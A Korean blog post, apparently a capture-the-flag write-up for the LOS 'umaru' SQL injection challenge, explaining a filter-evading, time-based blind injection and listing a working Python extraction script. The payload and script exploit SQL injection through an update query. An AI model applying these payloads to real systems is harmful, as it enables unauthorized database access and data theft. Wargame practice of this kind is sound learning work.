본문 바로가기

Hacking/Web

[LOS] umaru

마지막 문제라 그런건지 내가 문제 이해를 잘 못했던 건지 엄청 오래 걸린 문제다.

여태까지는 길면 1~2일 정도 걸렸는데 이 문제는 3일 넘게 걸린 거 같다.

솔직히 내가 코드도 제대로 안 읽고 띄엄띄엄 푼 것도 있지만 감이 도저히 안 왔었다..

이게 문제 코드다. 

쉽게 말하자면 플래그를 입력 받는데 만약에 올바른 플래그가 아니면 플래그를 리셋 시켜서 랜덤으로 바꾼다.

realflag는 prob_umaru에 있고 우리가 입력한 플래그는 prob_umaru_temp 임시 테이블(?)에 저장한다.

 

처음에 왜 감이 안 왔냐면 update 구문에서 injection을 해야 되고 테스트를 할 때 마다 플래그가 리셋 되서 어떻게 해야 될지 정말 감이 안 왔었다.

 

하지만 문제 코드에서 무엇을 알 수 있냐면 첫번째로 플래그 길이는 16이라는 것을 알 수 있다.

new_flag 쿼리를 보면 알 수 있다. 이걸로 무엇을 할 수 있냐면 if문으로 플래그 길이를 체크해서 참 거짓을 쉽게 확인 할 수 있다. (별 거 아님)

두번째는 필터링하는 것들인데 id, where, order, limit, ","가 있다. 처음에 update 구문에서 injection을 할 때 생각한게 구문을 더 추가할 수 있으니 where로 테스트 해보자는 거였는데 필터링을 하고 있었다. (별 거 아님)

 

별 거 아닌 것들이지만 여기까지 봤으면 생각을 해야 된다. 나는 여기서 어떻게 injection을 때릴지 깊게 생각을 안 하고 문제에 접근해서 빨리 못풀었던 거 같다.

 

우선 저 update 구문에서 에러가 발생하게 만들어서 reset_flag 함수가 실행 되면 안 되게끔 해야 된다. 에러를 발생할 수 있는 구문은 select 1 union select 2 이것이다. 나는 이 에러를 발생시키자라는 생각을 너무 늦게 했다. 진짜 빡대가리인 거 같다. 그 다음은 평소에 blind sql injection하는 것 처럼 해주면 되는데 if문을 쓸 때랑 substr을 쓸 때 쉼표(,)가 필수로 들어 가는데 필터링 되니깐 우회하는 방법을 찾았다. (case when 1=1 조건 then 참 else 거짓 end)

 

이제 공격 코드 짜주면 된다..

#umaru.py

import urllib
import urllib2
import requests
import time

flag = ""
session = {'PHPSESSID': '?'}
key = "!@#$%^&*()_-+=0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ"

for i in range(16):
	#for j in range(48,122):
	for j in range(len(key)):
		# query = "(select%201%20union%20select%202)and(select%20case%20when%20length(flag)=16%20then%20sleep(3)%20else%201%20end)"
		query = "(select+1+union+select+2)%26%26case+when+substr(flag+from+"+str(i+1)+"+for+1)='"+key[j]+"'+then+sleep(4)+else+1+end"
		url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag="+query
		time1 = time.time()
		req = requests.get(url, cookies=session)
		time2 = time.time()

		print(time2 - time1), key[j]

		if (time2-time1>3):
			flag += key[j]
			print "flag is " + flag
			break

다 푸는데 정확히 20일 걸렸다. 정말 열심히 했다면 2주 걸렸을 거 같은데 너무 게을렀던 거 같다. 이제 리뉴얼된 los 문제 풀어야지

'Hacking > Web' 카테고리의 다른 글

내가 sql injection 하면서 느끼고 알게 된 거  (0) 2020.02.23
[LOS] dark_eyes  (0) 2020.02.17
sql injection 필터링 우회  (0) 2020.02.17
[LOS] sql injection instr 사용시 주의  (0) 2020.02.11